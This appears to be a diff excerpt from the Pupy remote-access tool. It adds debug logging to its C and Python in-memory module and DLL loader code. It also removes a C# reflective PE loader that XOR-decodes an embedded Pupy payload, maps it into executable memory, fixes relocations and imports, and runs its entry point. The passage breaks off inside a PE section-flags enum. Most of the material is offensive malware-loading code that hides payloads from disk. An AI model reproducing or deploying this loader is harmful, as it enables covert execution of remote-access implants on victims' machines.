char *upx_env = getenv(" ");
|
||||
if (upx_env)
|
||||
{
|
||||
snprintf(exe, sizeof(exe), "%s", upx_env);
|
||||
}
|
||||
}
|
||||
|
||||
#elif defined(SunOS)
|
||||
strcpy(exe, getexecname());
|
||||
#endif
|
||||
|
||||
is_set = TRUE;
|
||||
return exe;
|
||||
}
|
||||
|
||||
#include "python27.c"
|
||||
#include "libcrypto.c"
|
||||
#include "libssl.c"
|
||||
#include "tmplibrary.h"
|
||||
#endif
|
||||
|
||||
#endif
|
|
@ -1 +0,0 @@
|
|||
Subproject commit 0b2f87430160c48c42dd055d374d52916d72a597
|
|
@ -0,0 +1,4 @@
|
|||
import-tab.c
|
||||
import-tab.h
|
||||
resources
|
||||
revision.h
|
|
@ -350,12 +350,11 @@ import_module(PyObject *self, PyObject *args)
|
|||
|
||||
PyObject *dataobj;
|
||||
PyObject *spec;
|
||||
/* code, initfuncname, fqmodulename, path */
|
||||
if (!PyArg_ParseTuple(args, "SsssO:import_module",
|
||||
&dataobj,
|
||||
&initfuncname, &modname, &pathname, &spec)) {
|
||||
dprint("error in PyArg_ParseTuple()\n");
|
||||
return NULL;
|
||||
return NULL;
|
||||
}
|
||||
|
||||
if (PyBytes_AsStringAndSize(dataobj, &data, &size)==-1) {
|
||||
|
|
|
@ -381,8 +381,9 @@ def load_dll(name, buf=None):
|
|||
cleanup_name = True
|
||||
else:
|
||||
return None
|
||||
|
||||
dprint("calling load_dll(name={}, buflen={}, buf0={}, buf1={})", name, len(buf), buf[0], buf[1])
|
||||
handle = _load_dll(name, buf)
|
||||
dprint("load_dll() handle={}",handle)
|
||||
if handle:
|
||||
dlls[name] = handle
|
||||
|
||||
|
@ -450,7 +451,7 @@ def make_module(fullname, path=None, is_pkg=False, mod=None):
|
|||
#mod = imp.new_module(fullname)
|
||||
spec = imputil.spec_from_loader(fullname, loader=None)
|
||||
mod = imputil.module_from_spec(spec)
|
||||
|
||||
dprint("make_module: %s %s %s"%(fullname, path, mod))
|
||||
mod.__name__ = str(fullname)
|
||||
mod.__file__ = str(
|
||||
'pupy://{}'.format(path or fullname + '.py')
|
||||
|
@ -586,7 +587,9 @@ class PupyPackageLoader(object):
|
|||
self.extension))
|
||||
|
||||
except Exception as e:
|
||||
dprint('Error loading package {} ({} pkg={}): {}',fullname, self.path, self.is_pkg, e)
|
||||
if fullname in sys.modules:
|
||||
dprint("Error ! %s : deleting from modules : %s"%(e,fullname))
|
||||
del sys.modules[fullname]
|
||||
|
||||
remote_error(
|
||||
|
@ -599,7 +602,6 @@ class PupyPackageLoader(object):
|
|||
self.contents = None
|
||||
_imp.release_lock()
|
||||
gc.collect()
|
||||
|
||||
return sys.modules[fullname]
|
||||
|
||||
|
||||
|
@ -714,19 +716,19 @@ class PupyPackageFinder(_bootstrap_external._LoaderBasics):
|
|||
yield first, True
|
||||
|
||||
def find_module(self, fullname, path=None, second_pass=False):
|
||||
dprint('Find module')
|
||||
if fullname.startswith('exposed_'):
|
||||
return None
|
||||
|
||||
fullname = self._rename_aliased(fullname)
|
||||
|
||||
if fullname in sys.modules:
|
||||
return DummyPackageLoader(fullname)
|
||||
|
||||
dprint('Find module: {}/{}'.format(fullname, second_pass))
|
||||
|
||||
if not second_pass:
|
||||
_imp.acquire_lock()
|
||||
if fullname in sys.modules:
|
||||
dprint('found module in sys.modules: %s'%fullname)
|
||||
return DummyPackageLoader(fullname)
|
||||
|
||||
dprint('Find module: {}/{}'.format(fullname, second_pass))
|
||||
|
||||
selected = None
|
||||
|
||||
|
@ -816,6 +818,7 @@ class PupyPackageFinder(_bootstrap_external._LoaderBasics):
|
|||
|
||||
if not second_pass:
|
||||
_imp.release_lock()
|
||||
pass
|
||||
|
||||
gc.collect()
|
||||
|
||||
|
@ -861,20 +864,23 @@ def load_pupyimporter(stdlib=None):
|
|||
dprint('Install pupyimporter (standalone)')
|
||||
sys.path = ["pupy://"]
|
||||
sys.path_hooks = [PupyPackageFinder]
|
||||
#sys.meta_path = [PupyPackageFinder("pupy://")]
|
||||
|
||||
dprint("meta_path: %s"%sys.meta_path)
|
||||
dprint("path_hooks: %s"%sys.path_hooks)
|
||||
dprint("path: %s"%sys.path)
|
||||
|
||||
else:
|
||||
dprint('Install pupyimporter + local packages')
|
||||
#sys.meta_path=[]
|
||||
sys.path.insert(0, 'pupy://')
|
||||
sys.path_hooks.insert(0, PupyPackageFinder)
|
||||
try:
|
||||
import _frozen_importlib_external
|
||||
# fix some missing default python meta_path, for instance with pyoxidizer
|
||||
if _frozen_importlib_external.PathFinder not in sys.meta_path:
|
||||
sys.meta_path.append(_frozen_importlib_external.PathFinder)
|
||||
except:
|
||||
pass
|
||||
try:
|
||||
import _frozen_importlib_external
|
||||
# fix some missing default python meta_path, for instance with pyoxidizer
|
||||
if _frozen_importlib_external.PathFinder not in sys.meta_path:
|
||||
sys.meta_path.append(_frozen_importlib_external.PathFinder)
|
||||
except:
|
||||
pass
|
||||
|
||||
sys.path_importer_cache.clear()
|
||||
|
||||
|
|
|
@ -27,12 +27,14 @@ NATIVE_LIB_PATTERNS = [
|
|||
|
||||
|
||||
def _find_library(name):
|
||||
pupy.dprint('_find_library called: {} => {}', name)
|
||||
for pattern in NATIVE_LIB_PATTERNS:
|
||||
libname = pattern.format(name)
|
||||
try:
|
||||
return ctypes.CDLL(libname)
|
||||
except:
|
||||
pass
|
||||
pupy.dprint('library {} not found ...', name)
|
||||
|
||||
|
||||
def _pupy_make_library_path(name):
|
||||
|
@ -73,6 +75,8 @@ def _pupy_dlopen(name, *args, **kwargs):
|
|||
|
||||
handle = pupy.load_dll(name)
|
||||
if handle:
|
||||
pupy.dprint(
|
||||
'ctypes dlopen / pupyized : {} found in-memory handle', name)
|
||||
return handle
|
||||
else:
|
||||
pupy.dprint('load_dll by name ({}) failed', name)
|
||||
|
@ -105,7 +109,7 @@ def apply_dl_hacks():
|
|||
except WindowsError:
|
||||
pupy.dprint('python310.dll not found')
|
||||
else:
|
||||
for libname in (None, 'libpython3.10.so.1.0', 'libpython3.10.so'):
|
||||
for libname in (None, 'python310.so'):
|
||||
try:
|
||||
candidate = ctypes.PyDLL(libname)
|
||||
except OSError:
|
||||
|
|
|
@ -279,8 +279,6 @@ def get_raw_conf(display, conf, verbose=False):
|
|||
(10, 5, 10), (50, 30, 50), (-1, 150, 300)
|
||||
])
|
||||
}
|
||||
if verbose:
|
||||
print(config)
|
||||
|
||||
return config
|
||||
|
||||
|
@ -557,7 +555,6 @@ def generate_binary_from_template(
|
|||
config.user_root, 'payload_templates'
|
||||
)
|
||||
if not os.path.isdir(templatedir):
|
||||
print(display)
|
||||
display(Error("payload binary templates are not available."))
|
||||
display(Info("You must compile them or download precompiled templates."))
|
||||
res=input(f"Do you want to download precompiled templates from {PRECOMPILED_TEMPLATES_DOWNLOAD_URL} ? Y/n ")
|
||||
|
@ -803,7 +800,6 @@ def pupygen(args, config, pupsrv, display):
|
|||
scriptlets = load_scriptlets(args.os, args.arch)
|
||||
|
||||
if args.list:
|
||||
print("ok")
|
||||
display(MultiPart([
|
||||
Table(
|
||||
[{
|
||||
|
|
|
@ -1,796 +0,0 @@
|
|||
/*
|
||||
Original Author: Casey Smith, Twitter: @subTee
|
||||
License: BSD 3-Clause
|
||||
|
||||
Edited by @n1nj4sec
|
||||
|
||||
*/
|
||||
|
||||
using System;
|
||||
using System.IO;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
namespace PELoader
|
||||
{
|
||||
unsafe class Program
|
||||
{
|
||||
private const int MAX_RECORDS = 1000;
|
||||
private const byte MASK_BYTE = 0xFF;
|
||||
|
||||
public enum DllReason : uint
|
||||
{
|
||||
DLL_PROCESS_ATTACH = 1,
|
||||
DLL_THREAD_ATTACH = 2,
|
||||
DLL_THREAD_DETACH = 3,
|
||||
DLL_PROCESS_DETACH = 0
|
||||
}
|
||||
|
||||
[UnmanagedFunctionPointer(CallingConvention.Winapi)]
|
||||
private delegate bool DllEntryDelegate(void* hinstDLL, DllReason fdwReason, void* lpReserved);
|
||||
|
||||
private static PELoader Unpack(string[] args)
|
||||
{
|
||||
/* Do nothing about args for now */
|
||||
|
||||
byte[] RawPE = <PUPYx64_BYTES>;
|
||||
for (int i = 0; i < RawPE.Length; i++)
|
||||
{
|
||||
RawPE[i] ^= MASK_BYTE;
|
||||
}
|
||||
|
||||
return new PELoader(RawPE);
|
||||
}
|
||||
|
||||
public static void Main()
|
||||
{
|
||||
ExecutePELoader(new string[] { });
|
||||
}
|
||||
|
||||
private static void ExecutePELoader(string[] args)
|
||||
{
|
||||
PELoader pe = Unpack(args);
|
||||
|
||||
DllEntryDelegate _dllEntry;
|
||||
|
||||
uint SizeOfImage;
|
||||
ulong ImageBase;
|
||||
IntPtr CodeBase;
|
||||
IntPtr RelocationTable;
|
||||
IntPtr ImportTableVirtualAddress;
|
||||
uint ImportTableVirtualAddressOffset;
|
||||
uint AddressOfEntryPoint;
|
||||
|
||||
if (pe.Is32BitHeader)
|
||||
{
|
||||
SizeOfImage = pe.OptionalHeader32.SizeOfImage;
|
||||
ImageBase = pe.OptionalHeader32.ImageBase;
|
||||
AddressOfEntryPoint = pe.OptionalHeader32.AddressOfEntryPoint;
|
||||
ImportTableVirtualAddressOffset = pe.OptionalHeader32.ImportTable.VirtualAddress;
|
||||
}
|
||||
else {
|
||||
SizeOfImage = pe.OptionalHeader64.SizeOfImage;
|
||||
ImageBase = pe.OptionalHeader64.ImageBase;
|
||||
AddressOfEntryPoint = pe.OptionalHeader64.AddressOfEntryPoint;
|
||||
ImportTableVirtualAddressOffset = pe.OptionalHeader64.ImportTable.VirtualAddress;
|
||||
}
|
||||
|
||||
Console.WriteLine("Preferred Load Address = {0:X16}", ImageBase);
|
||||
|
||||
CodeBase = NativeDeclarations.VirtualAlloc(
|
||||
IntPtr.Zero, SizeOfImage,
|
||||
NativeDeclarations.MEM_COMMIT,
|
||||
NativeDeclarations.PAGE_EXECUTE_READWRITE);
|
||||
|
||||
Console.WriteLine(
|
||||
"Allocated Space For {0:X16} at {1:X16}",
|
||||
SizeOfImage, CodeBase);
|
||||
|
||||
//Copy Sections
|
||||
for (int i = 0; i < pe.FileHeader.NumberOfSections; i++)
|
||||
{
|
||||
IntPtr SectionVirtualAddress = (IntPtr)((byte*)CodeBase + pe.ImageSectionHeaders[i].VirtualAddress);
|
||||
IntPtr MappedVirtualAddress = NativeDeclarations.VirtualAlloc(
|
||||
SectionVirtualAddress,
|
||||
pe.ImageSectionHeaders[i].SizeOfRawData, NativeDeclarations.MEM_COMMIT,
|
||||
NativeDeclarations.PAGE_EXECUTE_READWRITE
|
||||
);
|
||||
|
||||
Marshal.Copy(
|
||||
pe.RawBytes, (int)pe.ImageSectionHeaders[i].PointerToRawData,
|
||||
MappedVirtualAddress, (int)pe.ImageSectionHeaders[i].SizeOfRawData);
|
||||
|
||||
Console.WriteLine("Section {0}, Copied To {1:X16}", pe.ImageSectionHeaders[i].Name, MappedVirtualAddress);
|
||||
}
|
||||
|
||||
//Perform Base Relocation
|
||||
long delta;
|
||||
|
||||
if (pe.Is32BitHeader) {
|
||||
int currentbase = CodeBase.ToInt32();
|
||||
delta = currentbase - (int)ImageBase;
|
||||
RelocationTable = (IntPtr)((byte*)CodeBase + pe.OptionalHeader32.BaseRelocationTable.VirtualAddress);
|
||||
} else {
|
||||
long currentbase = CodeBase.ToInt64();
|
||||
delta = currentbase - (long)ImageBase;
|
||||
RelocationTable = (IntPtr)((byte*)CodeBase + pe.OptionalHeader64.BaseRelocationTable.VirtualAddress);
|
||||
}
|
||||
|
||||
if (delta >= 0) {
|
||||
Console.WriteLine("Delta = {0:X16}", delta);
|
||||
} else {
|
||||
Console.WriteLine("Delta = -{0:X16}", -delta);
|
||||
}
|
||||
|
||||
NativeDeclarations.IMAGE_BASE_RELOCATION RelocationEntry = new NativeDeclarations.IMAGE_BASE_RELOCATION();
|
||||
|
||||
RelocationEntry = (NativeDeclarations.IMAGE_BASE_RELOCATION)Marshal.PtrToStructure(
|
||||
RelocationTable, typeof(NativeDeclarations.IMAGE_BASE_RELOCATION));
|
||||
|
||||
int imageSizeOfBaseRelocation = Marshal.SizeOf(typeof(NativeDeclarations.IMAGE_BASE_RELOCATION));
|
||||
IntPtr nextEntry = RelocationTable;
|
||||
int sizeofNextBlock = (int)RelocationEntry.SizeOfBlock;
|
||||
IntPtr offset = RelocationTable;
|
||||
|
||||
while (true)
|
||||
{
|
||||
NativeDeclarations.IMAGE_BASE_RELOCATION relocationNextEntry = new NativeDeclarations.IMAGE_BASE_RELOCATION();
|
||||
IntPtr x = (IntPtr)((byte*)RelocationTable + sizeofNextBlock);
|
||||
relocationNextEntry = (NativeDeclarations.IMAGE_BASE_RELOCATION)Marshal.PtrToStructure(
|
||||
x, typeof(NativeDeclarations.IMAGE_BASE_RELOCATION));
|
||||
|
||||
IntPtr dest = (IntPtr)((byte*)CodeBase + (int)RelocationEntry.VirtualAdress);
|
||||
|
||||
for (int i = 0; i < (int)((RelocationEntry.SizeOfBlock - imageSizeOfBaseRelocation) / 2); i++)
|
||||
{
|
||||
IntPtr patchAddr;
|
||||
|
||||
UInt16 value = (UInt16)Marshal.ReadInt16(offset, 8 + (2 * i));
|
||||
UInt16 type = (UInt16)(value >> 12);
|
||||
UInt16 fixup = (UInt16)(value & 0xfff);
|
||||
|
||||
long originalAddr;
|
||||
long fixedAddr;
|
||||
|
||||
patchAddr = (IntPtr)((byte*)dest + fixup);
|
||||
|
||||
switch (type)
|
||||
{
|
||||
case 0x0:
|
||||
Console.WriteLine("[R] ABS");
|
||||
break;
|
||||
|
||||
case 0x3:
|
||||
originalAddr = (long) Marshal.ReadInt32(patchAddr);
|
||||
fixedAddr = originalAddr + delta;
|
||||
|
||||
Console.WriteLine(
|
||||
"[R] {0:X8} (+ {1}) -> {2:X8}",
|
||||
originalAddr, delta, fixedAddr);
|
||||
Marshal.WriteInt32(patchAddr, (int) fixedAddr);
|
||||
break;
|
||||
|
||||
case 0xA:
|
||||
originalAddr = Marshal.ReadInt64(patchAddr);
|
||||
fixedAddr = originalAddr + delta;
|
||||
Console.WriteLine(
|
||||
"[R] {0:X16} (+ {1}) -> {2:X16}",
|
||||
originalAddr, delta, fixedAddr);
|
||||
Marshal.WriteInt64(patchAddr, fixedAddr);
|
||||
break;
|
||||
|
||||
default:
|
||||
Console.WriteLine("[R] Invalid relocation: {0}", type);
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
offset = (IntPtr)((byte*)RelocationTable + sizeofNextBlock);
|
||||
sizeofNextBlock += (int)relocationNextEntry.SizeOfBlock;
|
||||
RelocationEntry = relocationNextEntry;
|
||||
|
||||
nextEntry = (IntPtr)((byte*)nextEntry + sizeofNextBlock);
|
||||
|
||||
if (relocationNextEntry.SizeOfBlock == 0)
|
||||
break;
|
||||
}
|
||||
|
||||
ImportTableVirtualAddress = (IntPtr)((byte*)CodeBase + ImportTableVirtualAddressOffset);
|
||||
|
||||
//Get And Display Each DLL To Load
|
||||
for (int j = 0; j < MAX_RECORDS; j++) //HardCoded Number of DLL's Do this Dynamically.
|
||||
{
|
||||
IntPtr ImportRecord = (IntPtr)((byte*)ImportTableVirtualAddress + (20 * j));
|
||||
|
||||
IntPtr DllFuncOFTOfft = (IntPtr)((byte*)(ImportRecord) + 0);
|
||||
IntPtr DllNameOfft = (IntPtr)((byte*)(ImportRecord) + 12);
|
||||
IntPtr DllFuncFTOfft = (IntPtr)((byte*)(ImportRecord) + 16);
|
||||
|
||||
IntPtr dllNamePTR = (IntPtr)((byte*)CodeBase + Marshal.ReadInt32(DllNameOfft));
|
||||
int FTPtr = Marshal.ReadInt32(DllFuncFTOfft);
|
||||
int OFTPtr = Marshal.ReadInt32(DllFuncOFTOfft);
|
||||
IntPtr DllFuncNameIdx = (IntPtr) 0;
|
||||
IntPtr DllFuncPtrIdx = (IntPtr) (IntPtr)((byte*)CodeBase + FTPtr);
|
||||
|
||||
if (OFTPtr != 0) {
|
||||
DllFuncNameIdx = (IntPtr)((byte*)CodeBase + OFTPtr);
|
||||
} else {
|
||||
DllFuncNameIdx = (IntPtr)((byte*)CodeBase + FTPtr);
|
||||
}
|
||||
|
||||
string DllName = Marshal.PtrToStringAnsi(dllNamePTR);
|
||||
|
||||
Console.WriteLine("Import DLL {0}", DllName);
|
||||
|
||||
if (DllName == "")
|
||||
break;
|
||||
|
||||
IntPtr handle = NativeDeclarations.LoadLibrary(DllName);
|
||||
Console.WriteLine("Loaded {0} -> {1}", DllName, handle);
|
||||
for (int k = 1; k < MAX_RECORDS; k++)
|
||||
{
|
||||
IntPtr DllFuncNamePtr = ((IntPtr)((byte*)CodeBase + Marshal.ReadInt32(DllFuncNameIdx)));
|
||||
string DllFuncName = Marshal.PtrToStringAnsi((IntPtr)((byte*)DllFuncNamePtr + 2));
|
||||
|
||||
IntPtr funcAddy = NativeDeclarations.GetProcAddress(handle, DllFuncName);
|
||||
|
||||
Console.WriteLine("Import Function {0} -> {1:X16}", DllFuncName, funcAddy);
|
||||
|
||||
if (pe.Is32BitHeader) {
|
||||
Marshal.WriteInt32(DllFuncPtrIdx, (int)funcAddy);
|
||||
DllFuncPtrIdx = (IntPtr)((byte*)DllFuncPtrIdx + 4);
|
||||
DllFuncNameIdx = (IntPtr)((byte*)DllFuncNameIdx + 4);
|
||||
} else {
|
||||
Marshal.WriteInt64(DllFuncPtrIdx, (long)funcAddy);
|
||||
DllFuncPtrIdx = (IntPtr)((byte*)DllFuncPtrIdx + 8);
|
||||
DllFuncNameIdx = (IntPtr)((byte*)DllFuncNameIdx + 8);
|
||||
}
|
||||
|
||||
if (DllFuncName == "")
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
IntPtr OEP = (IntPtr)((byte*)CodeBase + AddressOfEntryPoint);
|
||||
|
||||
//Transfer Control To OEP
|
||||
Console.WriteLine("Executing DLL [OEP -> {0:X16}]", OEP);
|
||||
|
||||
_dllEntry = (DllEntryDelegate)Marshal.GetDelegateForFunctionPointer(OEP, typeof(DllEntryDelegate));
|
||||
|
||||
if (_dllEntry == null || !_dllEntry((byte*)CodeBase, DllReason.DLL_PROCESS_ATTACH, (void*)1))
|
||||
{
|
||||
throw new Exception("Can't attach DLL to process.");
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public class PELoader
|
||||
{
|
||||
public struct IMAGE_DOS_HEADER
|
||||
{ // DOS .EXE header
|
||||
public UInt16 e_magic; // Magic number
|
||||
public UInt16 e_cblp; // Bytes on last page of file
|
||||
public UInt16 e_cp; // Pages in file
|
||||
public UInt16 e_crlc; // Relocations
|
||||
public UInt16 e_cparhdr; // Size of header in paragraphs
|
||||
public UInt16 e_minalloc; // Minimum extra paragraphs needed
|
||||
public UInt16 e_maxalloc; // Maximum extra paragraphs needed
|
||||
public UInt16 e_ss; // Initial (relative) SS value
|
||||
public UInt16 e_sp; // Initial SP value
|
||||
public UInt16 e_csum; // Checksum
|
||||
public UInt16 e_ip; // Initial IP value
|
||||
public UInt16 e_cs; // Initial (relative) CS value
|
||||
public UInt16 e_lfarlc; // File address of relocation table
|
||||
public UInt16 e_ovno; // Overlay number
|
||||
public UInt16 e_res_0; // Reserved words
|
||||
public UInt16 e_res_1; // Reserved words
|
||||
public UInt16 e_res_2; // Reserved words
|
||||
public UInt16 e_res_3; // Reserved words
|
||||
public UInt16 e_oemid; // OEM identifier (for e_oeminfo)
|
||||
public UInt16 e_oeminfo; // OEM information; e_oemid specific
|
||||
public UInt16 e_res2_0; // Reserved words
|
||||
public UInt16 e_res2_1; // Reserved words
|
||||
public UInt16 e_res2_2; // Reserved words
|
||||
public UInt16 e_res2_3; // Reserved words
|
||||
public UInt16 e_res2_4; // Reserved words
|
||||
public UInt16 e_res2_5; // Reserved words
|
||||
public UInt16 e_res2_6; // Reserved words
|
||||
public UInt16 e_res2_7; // Reserved words
|
||||
public UInt16 e_res2_8; // Reserved words
|
||||
public UInt16 e_res2_9; // Reserved words
|
||||
public UInt32 e_lfanew; // File address of new exe header
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
public struct IMAGE_DATA_DIRECTORY
|
||||
{
|
||||
public UInt32 VirtualAddress;
|
||||
public UInt32 Size;
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential, Pack = 1)]
|
||||
public struct IMAGE_OPTIONAL_HEADER32
|
||||
{
|
||||
public UInt16 Magic;
|
||||
public Byte MajorLinkerVersion;
|
||||
public Byte MinorLinkerVersion;
|
||||
public UInt32 SizeOfCode;
|
||||
public UInt32 SizeOfInitializedData;
|
||||
public UInt32 SizeOfUninitializedData;
|
||||
public UInt32 AddressOfEntryPoint;
|
||||
public UInt32 BaseOfCode;
|
||||
public UInt32 BaseOfData;
|
||||
public UInt32 ImageBase;
|
||||
public UInt32 SectionAlignment;
|
||||
public UInt32 FileAlignment;
|
||||
public UInt16 MajorOperatingSystemVersion;
|
||||
public UInt16 MinorOperatingSystemVersion;
|
||||
public UInt16 MajorImageVersion;
|
||||
public UInt16 MinorImageVersion;
|
||||
public UInt16 MajorSubsystemVersion;
|
||||
public UInt16 MinorSubsystemVersion;
|
||||
public UInt32 Win32VersionValue;
|
||||
public UInt32 SizeOfImage;
|
||||
public UInt32 SizeOfHeaders;
|
||||
public UInt32 CheckSum;
|
||||
public UInt16 Subsystem;
|
||||
public UInt16 DllCharacteristics;
|
||||
public UInt32 SizeOfStackReserve;
|
||||
public UInt32 SizeOfStackCommit;
|
||||
public UInt32 SizeOfHeapReserve;
|
||||
public UInt32 SizeOfHeapCommit;
|
||||
public UInt32 LoaderFlags;
|
||||
public UInt32 NumberOfRvaAndSizes;
|
||||
|
||||
public IMAGE_DATA_DIRECTORY ExportTable;
|
||||
public IMAGE_DATA_DIRECTORY ImportTable;
|
||||
public IMAGE_DATA_DIRECTORY ResourceTable;
|
||||
public IMAGE_DATA_DIRECTORY ExceptionTable;
|
||||
public IMAGE_DATA_DIRECTORY CertificateTable;
|
||||
public IMAGE_DATA_DIRECTORY BaseRelocationTable;
|
||||
public IMAGE_DATA_DIRECTORY Debug;
|
||||
public IMAGE_DATA_DIRECTORY Architecture;
|
||||
public IMAGE_DATA_DIRECTORY GlobalPtr;
|
||||
public IMAGE_DATA_DIRECTORY TLSTable;
|
||||
public IMAGE_DATA_DIRECTORY LoadConfigTable;
|
||||
public IMAGE_DATA_DIRECTORY BoundImport;
|
||||
public IMAGE_DATA_DIRECTORY IAT;
|
||||
public IMAGE_DATA_DIRECTORY DelayImportDescriptor;
|
||||
public IMAGE_DATA_DIRECTORY CLRRuntimeHeader;
|
||||
public IMAGE_DATA_DIRECTORY Reserved;
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential, Pack = 1)]
|
||||
public struct IMAGE_OPTIONAL_HEADER64
|
||||
{
|
||||
public UInt16 Magic;
|
||||
public Byte MajorLinkerVersion;
|
||||
public Byte MinorLinkerVersion;
|
||||
public UInt32 SizeOfCode;
|
||||
public UInt32 SizeOfInitializedData;
|
||||
public UInt32 SizeOfUninitializedData;
|
||||
public UInt32 AddressOfEntryPoint;
|
||||
public UInt32 BaseOfCode;
|
||||
public UInt64 ImageBase;
|
||||
public UInt32 SectionAlignment;
|
||||
public UInt32 FileAlignment;
|
||||
public UInt16 MajorOperatingSystemVersion;
|
||||
public UInt16 MinorOperatingSystemVersion;
|
||||
public UInt16 MajorImageVersion;
|
||||
public UInt16 MinorImageVersion;
|
||||
public UInt16 MajorSubsystemVersion;
|
||||
public UInt16 MinorSubsystemVersion;
|
||||
public UInt32 Win32VersionValue;
|
||||
public UInt32 SizeOfImage;
|
||||
public UInt32 SizeOfHeaders;
|
||||
public UInt32 CheckSum;
|
||||
public UInt16 Subsystem;
|
||||
public UInt16 DllCharacteristics;
|
||||
public UInt64 SizeOfStackReserve;
|
||||
public UInt64 SizeOfStackCommit;
|
||||
public UInt64 SizeOfHeapReserve;
|
||||
public UInt64 SizeOfHeapCommit;
|
||||
public UInt32 LoaderFlags;
|
||||
public UInt32 NumberOfRvaAndSizes;
|
||||
|
||||
public IMAGE_DATA_DIRECTORY ExportTable;
|
||||
public IMAGE_DATA_DIRECTORY ImportTable;
|
||||
public IMAGE_DATA_DIRECTORY ResourceTable;
|
||||
public IMAGE_DATA_DIRECTORY ExceptionTable;
|
||||
public IMAGE_DATA_DIRECTORY CertificateTable;
|
||||
public IMAGE_DATA_DIRECTORY BaseRelocationTable;
|
||||
public IMAGE_DATA_DIRECTORY Debug;
|
||||
public IMAGE_DATA_DIRECTORY Architecture;
|
||||
public IMAGE_DATA_DIRECTORY GlobalPtr;
|
||||
public IMAGE_DATA_DIRECTORY TLSTable;
|
||||
public IMAGE_DATA_DIRECTORY LoadConfigTable;
|
||||
public IMAGE_DATA_DIRECTORY BoundImport;
|
||||
public IMAGE_DATA_DIRECTORY IAT;
|
||||
public IMAGE_DATA_DIRECTORY DelayImportDescriptor;
|
||||
public IMAGE_DATA_DIRECTORY CLRRuntimeHeader;
|
||||
public IMAGE_DATA_DIRECTORY Reserved;
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential, Pack = 1)]
|
||||
public struct IMAGE_FILE_HEADER
|
||||
{
|
||||
public UInt16 Machine;
|
||||
public UInt16 NumberOfSections;
|
||||
public UInt32 TimeDateStamp;
|
||||
public UInt32 PointerToSymbolTable;
|
||||
public UInt32 NumberOfSymbols;
|
||||
public UInt16 SizeOfOptionalHeader;
|
||||
public UInt16 Characteristics;
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Explicit)]
|
||||
public struct IMAGE_SECTION_HEADER
|
||||
{
|
||||
[FieldOffset(0)]
|
||||
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 8)]
|
||||
public char[] Name;
|
||||
[FieldOffset(8)]
|
||||
public UInt32 VirtualSize;
|
||||
[FieldOffset(12)]
|
||||
public UInt32 VirtualAddress;
|
||||
[FieldOffset(16)]
|
||||
public UInt32 SizeOfRawData;
|
||||
[FieldOffset(20)]
|
||||
public UInt32 PointerToRawData;
|
||||
[FieldOffset(24)]
|
||||
public UInt32 PointerToRelocations;
|
||||
[FieldOffset(28)]
|
||||
public UInt32 PointerToLinenumbers;
|
||||
[FieldOffset(32)]
|
||||
public UInt16 NumberOfRelocations;
|
||||
[FieldOffset(34)]
|
||||
public UInt16 NumberOfLinenumbers;
|
||||
[FieldOffset(36)]
|
||||
public DataSectionFlags Characteristics;
|
||||
|
||||
public string Section
|
||||
{
|
||||
get { return new string(Name); }
|
||||
}
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
public struct IMAGE_BASE_RELOCATION
|
||||
{
|
||||
public uint VirtualAdress;
|
||||
public uint SizeOfBlock;
|
||||
}
|
||||
|
||||
[Flags]
|
||||
public enum DataSectionFlags : uint
|
||||
{
|
||||
/// <summary>
|
||||
/// Reserved for future use.
|
||||
/// </summary>
|
||||
TypeReg = 0x00000000,
|
||||
/// <summary>
|
||||
/// Reserved for future use.
|
||||
/// </summary>
|
||||
TypeDsect = 0x00000001,
|
||||
/// <summary>
|
||||
/// Reserved for future use.
|
||||
/// </summary>
|
||||
TypeNoLoad = 0x00000002,
|
||||
/// <summary>
|
||||
/// Reserved for future use.
|
||||
/// </summary>
|
||||
TypeGroup = 0x00000004,
|
||||
/// <summary>
|
||||
/// The section should not be padded to the next boundary. This flag is obsolete and is replaced by IMAGE_SCN_ALIGN_1BYTES. This is valid only for object files.
|
||||
/// </summary>
|
||||
TypeNoPadded = 0x00000008,
|
||||
/// <summary>
|
||||
/// Reserved for future use.
|
||||
/// </summary>
|
||||
TypeCopy = 0x00000010,
|
||||
/// <summary>
|
||||
/// The section contains executable code.
|
||||
/// </summary>
|
||||
ContentCode = 0x00000020,
|
||||
/// <summary>
|
||||
/// The section contains initialized data.
|
||||
/// </summary>
|
||||
ContentInitializedData = 0x00000040,
|
||||
/// <summary>
|
||||
/// The section contains uninitialized data.
|
||||
/// </summary>
|
||||
ContentUninitializedData = 0x00000080,
|
||||
/// <summary>
|
||||
/// Reserved for future use.
|
||||
/// </summary>
|
||||
LinkOther = 0x00000100,
|
||||
/// <summary>
|
||||
/// The section contains comments or other information. The .drectve section has this type. This is valid for object files only.
|
||||
/// </summary>
|
||||
LinkInfo = 0x00000200,
|
||||
/// <summary>
|
||||
/// Reserved for future use.
|
||||
/// </summary>
|
||||
TypeOver = 0x00000400,
|
||||
/// <summary>
|
||||
/// The section will not become part of the image. This is valid only for object files.
|
||||
/// </summary>
|
||||
LinkRemove = 0x00000800,
|
||||
/// <summary>
|
||||
/// The section contains COMDAT data. For more information, see section 5.5.6, COMDAT Sections (Object Only). This is valid only for object files.
|
||||
/// </summary>
|
||||
LinkComDat = 0x00001000,
|
||||
/// <summary>
|
||||
/// Reset speculative exceptions handling bits in the TLB entries for this section.
|
||||
/// </summary>
|
||||
NoDeferSpecExceptions = 0x00004000,
|
||||
/// <summary>
|
||||
/// The section contains data referenced through the global pointer (GP).
|
||||
/// </summary>
|
||||
RelativeGP = 0x00008000,
|
||||
/// <summary>
|
||||
/// Reserved for future use.
|
||||
/// </summary>
|
||||
MemPurgeable = 0x00020000,
|
||||
/// <summary>
|
||||
/// Reserved for future use.
|
||||
/// </summary>
|
||||
Memory16Bit = 0x00020000,
|
||||
/// <summary>
|
||||
/// Reserved for future use.
|
||||
/// </summary>
|
||||
MemoryLocked = 0x00040000,
|
||||
/// <summary>
|
||||
/// Reserved for future use.
|
||||
/// </summary>
|
||||
MemoryPreload = 0x00080000,
|
||||
/// <summary>
|
||||
/// Align data on a 1-byte boundary. Valid only for object files.
|
||||
/// </summary>
|
||||
